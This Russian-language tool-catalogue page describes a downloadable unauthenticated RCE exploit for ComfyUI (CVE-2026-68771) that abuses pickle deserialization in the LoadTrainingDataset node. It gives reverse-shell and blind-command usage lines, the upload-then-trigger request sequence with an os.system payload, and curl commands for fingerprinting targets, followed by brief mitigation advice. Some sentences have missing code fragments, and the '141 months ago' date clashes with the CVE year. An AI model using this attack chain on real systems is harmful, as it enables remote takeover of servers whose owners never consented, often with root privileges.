Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-68771_exploit — Неаутентифицированный эксплойт для CVE-2026-68771 — RCE через десериализацию pickle в ComfyUI. Размещает сформированный шард через /upload/image, активирует его через /prompt и выполняет команды или открывает обратную оболочку. | Kitploit
Инструменты/GitHubGitHub/0xdak/cve-2026-68771_exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHub0xdak/cve-2026-68771_exploit

CVE-2026-68771_exploit

Неаутентифицированный эксплойт для CVE-2026-68771 — RCE через десериализацию pickle в ComfyUI. Размещает сформированный шард через /upload/image, активирует его через /prompt и выполняет команды или открывает обратную оболочку.

Репозиторий
141 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-68771 — Неаутентифицированное удалённое выполнение кода через десериализацию pickle в ComfyUI

Неаутентифицированное удалённое выполнение кода в ComfyUI через узел LoadTrainingDataset.

LoadTrainingDataset.execute() загружает шарды данных из выходного каталога сервера с помощью torch.load(f) и без weights_only=True. На PyTorch < 2.6 (где weights_only по умолчанию равен False) специально созданный shard_*.pkl выполняет свой pickle __reduce__ при загрузке (CWE-502). ComfyUI поставляется , а маршрут (с ) записывает сырые загруженные байты без проверки расширения, поэтому можно разместить и затем запустить двумя неаутентифицированными запросами.

без аутентификации
/upload/image
type=output
.pkl
  • Затронуто: ComfyUI 0.23.0 на PyTorch < 2.6
  • Порт по умолчанию: 8188 (без аутентификации)
  • CWE: 502 (десериализация недоверенных данных)
  • Воздействие: RCE от имени пользователя, под которым работает процесс ComfyUI (обычно root)

Требования

Только стандартная библиотека Python 3 — никаких зависимостей.

Использование

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444

# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'

Команда выполняется на сервере; её вывод не возвращается, поэтому используйте --shell для обратной оболочки (или запишите результат в доступный для чтения путь), чтобы увидеть результат.

Как это работает

Два неаутентифицированных запроса:

  1. Размещение — POST /upload/image с type=output, subfolder=training_dataset, именем файла shard_0000.pkl. Маршрут /upload/image записывает сырые байты (на этом пути обработка изображений не выполняется), поэтому pickle попадает без изменений в output/training_dataset/shard_0000.pkl. __reduce__ pickle возвращает (os.system, (cmd,)).

  2. Запуск — POST /prompt с рабочим процессом: узел LoadTrainingDataset (folder_name=training_dataset), подключённый к выходному узлу SaveLatent. Выходной узел заставляет ComfyUI выполнить LoadTrainingDataset, который находит все файлы по шаблону shard_*.pkl и вызывает:

    root@kitploit:~
    with open(shard_path, "rb") as f:
        shard_data = torch.load(f)      # no weights_only=True -> runs the pickle on torch < 2.6
    

    __reduce__ pickle выполняет os.system(cmd) во время десериализации.

Определение цели

root@kitploit:~
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200  -> vulnerable node present

Устранение

  • Исправление в апстриме: загружайте шарды с помощью torch.load(f, weights_only=True).
  • Обновите PyTorch до >= 2.6, где weights_only по умолчанию равен True и ограниченный анпиклер отклоняет os.system.
  • Никогда не открывайте ComfyUI для доступа из недоверенных сетей и не запускайте его от привилегированного пользователя.

Отказ от ответственности

Только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.

Скачать инструмент